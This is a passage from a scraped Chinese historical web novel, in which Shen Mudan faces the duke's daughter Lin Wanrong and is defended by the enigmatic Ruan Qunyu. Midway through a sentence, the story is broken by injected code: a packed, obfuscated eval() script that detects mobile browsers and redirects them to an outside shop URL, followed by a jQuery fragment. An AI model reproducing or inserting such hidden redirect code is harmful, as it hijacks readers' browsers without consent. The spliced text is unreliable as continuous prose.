神牡丹扎上针后,神林海就缓过来许多,拉着她的手,呢喃着:“走,快走……”
上一次神牡丹听了父亲的话,抛下他逃了出去,这一次她早已决定要选另一条路了,又怎么会因为这点小事就离开呢。
“父亲莫担心,我很快就回来。”
神牡丹替他捏齐整被角,便起身走了出去,其他仆役跟着她一起走到院落里。
林婉容和田恬甜依旧待在院门口,林婉容坐在一个仆役的背上,姿态端庄,颇有大家风范。
“跑啊,怎么不跑了?哼!”
林婉容朝着一旁伺立的仆役招招手,让他把神牡丹架过来,但在这之前神牡丹已经主动走到了她面前。
林婉容也站了起来,摘下帷帽,一脸嫌弃地扇了扇鼻子:“一股臭味,这是马圈吗?”
她把手指放在鼻下,嘴角微微上挑,鄙夷道:“不过也正好衬你,心如蛇蝎,命格低贱,就适合住在这种地方。”
神牡丹懒得同她解释那是羚羊角和熊胆粉的气味,倒是很好奇究竟是什么事把林婉容引到这里来,正如她现在的表现,如此嫌弃又不得不来。
不过她也不用问。
林婉容一指头戳向神牡丹的肩膀,一步一步向前,神牡丹便配合着她后退:“你昨日在越家如此嚣张,还敢对我不敬,真是不知天高,地厚。我今日来就是给你个教训,让你知道你究竟是什么身份,你对我来说,和一条狗没什么区别。”
神牡丹早就对这份莫名其妙的鄙夷和优越感已经习惯了,也不会觉得害怕或是难过。
“所以,你就是想来打我一顿,那是准备直接把我打死呢?还是要打得半身不遂,只留一口气在呢?”
“什么……”
林婉容被问得一时语塞,她还没想到这一步,她想过要打神牡丹,想过要她痛,要她求饶,但之后的她都没有细想。
神牡丹挥开林婉容指在自己肩膀上的手:“看来你是没有想过,若是打残了我会如何,杀了我又会如何。不过其实我也不知道会如何,因为我并不了解国公,不知道他是如何教导你的,是不是跟你说你可以在外面随意杀人,他都可以一手遮天护住你。”
林婉容气得扬起巴掌:“你算什么东西,也配提我父亲!”
可巴掌还未落下就被神牡丹一只手握住,林婉容挣脱开后,恼羞成怒,再次扬起手:“你,你!你敢碰我……”
一颗石子破空而来,击打在林婉容的虎口,让她捂着手痛得大叫。
石子从院墙上飞来,神牡丹看过去,墙上坐着一个人,跷着腿,很是悠闲。那人背光而坐,五官陷在阴影里,显得凌厉阴戾。
林婉容的虎口被石子击穿,她本就疼得撕心裂肺,又看见血不停地往外冒,哭叫起来:“啊!啊!我的手!我的手!”
周围的仆役也被吓了一跳,但又不敢去碰府中尊贵的娘子。
田恬甜一直站在院门处,此刻也慌了,就怕上前惹麻烦,恨不得立刻遁走。
院墙上那人的声音自上而下传来:“只会打人的手,留着也是多余。”
“你是何人,竟敢伤,伤国公的女儿!”
田恬甜终于找了个机会能体现自己的价值,指挥着仆役:“快,把那贼人抓住,别让他跑了。”
大多仆役都没动,他们是林家人又不是田家的。
但院墙上的人却主动跳了下来,原本就没有要逃的意思。
他落了地,田恬甜和林婉容才认出来,他就是昨日越家那个被神牡丹抱住的蓝衣男子。
也就是和三皇子白晟关系匪浅的人。
神牡丹是石子飞来的时候认出阮群玉的,只是一时晃神,想起了夜里掉在林婉容舅父身边那颗带血的石子。
“是你?”
阮群玉语气阴阳怪气道:“嗯哼,不然还是谁?”
神牡丹丢下石子,任其滚落到墙边角落中。
而此刻的林婉容才刚稍稍缓过来些,但她还是第一次经受如此剧烈的疼痛,身体和精神都十分的衰弱。
她看了眼神牡丹,但开不了口向她求救。她知道神牡丹会医术,可她还想再等等,只要她还有的选,她就不会让神牡丹施舍般地来医治自己。
且她今日屈尊来这又小又破的巷子,本就是为了要报昨日的仇,若是又向神牡丹求助,日后如何抬得起头来。
尤其是在场还有这么多人。
她一点点转过头,盯着站在离她意外的远的田恬甜。
林婉容这才想起都是田恬甜,是她来找自己,说神牡丹昨日和那蓝衣男子诉了不少苦,还说了不少她们的坏话,那蓝衣男子说不定转头还会告诉三皇子……
她当时只觉得要气死了,只想着找神牡丹出气。本想叫人把神牡丹抓来,若不是田恬甜多嘴问了一句“国公若是回家看见了怎么办?”她才不会出门,也不至于受此凌辱。
“你还站在那里做什么!”
林婉容几乎是从牙缝里挤出了这句话,田恬甜立刻上前扶起她,柔声道:“你的手流了好多血,我这就带你去医馆,好不好?”
若是从前,田恬甜这般低三下四的语气和态度林婉容还是很满意的,但今日她只觉得恶心,可现在也没有其他人能扶她离开了,她只能忍着。
毕竟神牡丹那个贱蹄子,早已把眼珠子都黏在那个男子身上,真是不要脸。
“你们还愣着做什么,竟然敢坐视我被人欺凌,快把他们捉了,带回府里去啊!”
林婉容怨毒地瞪着在场的众人,待她回府,她一定要让这些人好看。
所有的仆役听了林婉容的话便有了动作,阮群玉这时还背对着林婉容和一众仆役,可他分明听到了动静,也看到了神牡丹神情中的变化。
“我也只是来看看,若你还是执意要去尼姑庵,我也不好再强求。”
神牡丹转头看向屋内,门已破,到处都是凌乱的脚印。且从这个角度看,父亲脑袋上的白发尤其的多。
可当她再回头看见阮群玉似笑非笑的脸,以及面无表情,举着手扑过来的国公府仆役时,她就不想妥协了。
“什么尼姑庵,我不记得我说过这样的话。”
阮群玉此时已被几个仆役抓住,眼看着就要扣住双手,却在那之前挣脱了开来,回身夹住两个仆役的脖颈,将人夹得满脸通红才摔了出去。
“林国公近日总是战战兢兢的,我还当他是年纪大了,身体虚,今日才知是因为生了这一个草包女儿,给气得。”
阮群玉环视一周,视线从林婉容、田恬甜两人滑过,落在敞开的院门处。
“既然知道我与三殿下关系匪浅,还敢当着我的面伤人,看来林国公当真地位稳固,半点也不怕被弹劾呀。”
林婉容还没说让停手,那些仆役就停住不动了。
只因听见了那三个字。
“三殿下……”
林婉容抓着田恬甜的手站起,见自己家的仆役不听自己的话,反而听一个外人的,气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730704|208949||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得抓心挠肝般难受。
“我父亲若是知道你伤了我,自然会为我讨回公道。”
神牡丹突然抽泣起来,捂着眼角:“我真不知道做了什么惹恼了林娘子,即便是国公的女儿,也不能如此欺负人,还让家中仆人殴打我的父亲!嘤嘤嘤,我父亲在宫中侍奉皇后和陛下,从来都是尽心尽力的,凭何遭此无妄之灾。若是有机会面见国公,我即便拼了命不要,也要向他问个清楚。”
“你!”
阮群玉见神牡丹说哭就哭,偏过头去笑了一声,转回时已换了副面孔,将她揽过来,拍了拍她的脑袋:“真可怜,不过是想见国公罢了,又有何难的,我这便带你进宫,再召国公来就是了。”
林婉容才不信,觉得阮群玉是在说大话,他是什么身份,想进宫就能进宫吗?
田恬甜也说:“牡丹,你不要再装了,还是早早服软,跪下磕头道歉,求婉蓉饶了你一命吧。”
神牡丹擦掉眼眶里刚挤出来的眼泪,让自己能清清楚楚地看见田恬甜的嘴脸。
田恬甜的脸从帷帽的缝隙中掉出来一半,那一半斜斜对着神牡丹,那颗没有神采的黑眼珠里似有挑衅,又有埋怨。
有些人,是把眼睛睁得再大都看不清楚的。
“我求饶,你们得寸进尺,今日又害了我父亲,我若是再跪,你们只会把我当做奴隶,根本不会把我当人看。”
神牡丹看向林婉容的手,伤口依旧在流血,林婉容能撑到现在,纯粹是因为心里有一口怒气在。
“林娘子与其有功夫要抓我,不如尽早去治伤吧,不然手要是废了就再也生不出来一只新的手了。”
神牡丹一提醒,林婉容又觉得手痛了起来。
她又急又怕,深吸了几口气还是疼得不行,更可怕的是她的手竟然真的动不了了。
“快,快去找大夫……”
林婉容一喊就更晕了,只能靠在田恬甜身上,可她不知做了什么,田恬甜脸上突然显出了痛苦的神色。
田恬甜力气也不够,支撑不住一个脱力的成人,直接倒在了地上。
那些仆役皆是男子,又是下人,且无主子吩咐,便如稻草人般干站着。
田恬甜怒上心头,吼道:“你们瞎了吗?眼见娘子垂危都袖手旁观是何意?还不快把娘子扶起来,否则回了府里告诉了管事和主母娘子,定要打得你们皮开肉绽再发卖出去!”
如此一吓,才有几个人上前扶起林婉容往外拉去,只是过程十分粗鲁,看样子平日里应是从未进过后院与娇贵娘子打过交道,都是干些粗活的。
林婉容娇气傲慢,但她从不记隔夜仇,若是当时没报,回了家就忘了。是以一开始破门时,神牡丹还当是她发现了自己杀了她舅舅,还真有几分心急了。
可现下看来,多半是听了田恬甜的撺掇,不然也找不来她家。
田恬甜起身,收拢好帷帽,隔着白色的纱帘看着神牡丹道:“你可想好,若是婉蓉的手出了什么问题,你会如何吗?”
“好像,这个问题不该由我来想吧。”
神牡丹回身到墙脚拿起笤帚,田恬甜见了立刻抬手挡着脸后退,以为神牡丹要拿笤帚打她。
可她只听见了“唰唰”的扫地声,放下手,见神牡丹弯着腰扫地,她只能看见一半的下颌,线条又细又长,几乎没有什么肉。
而另一个人,那个身份神秘的男子伸了个懒腰走进了屋里,并没有多看她一眼。
她是多余的那一个人。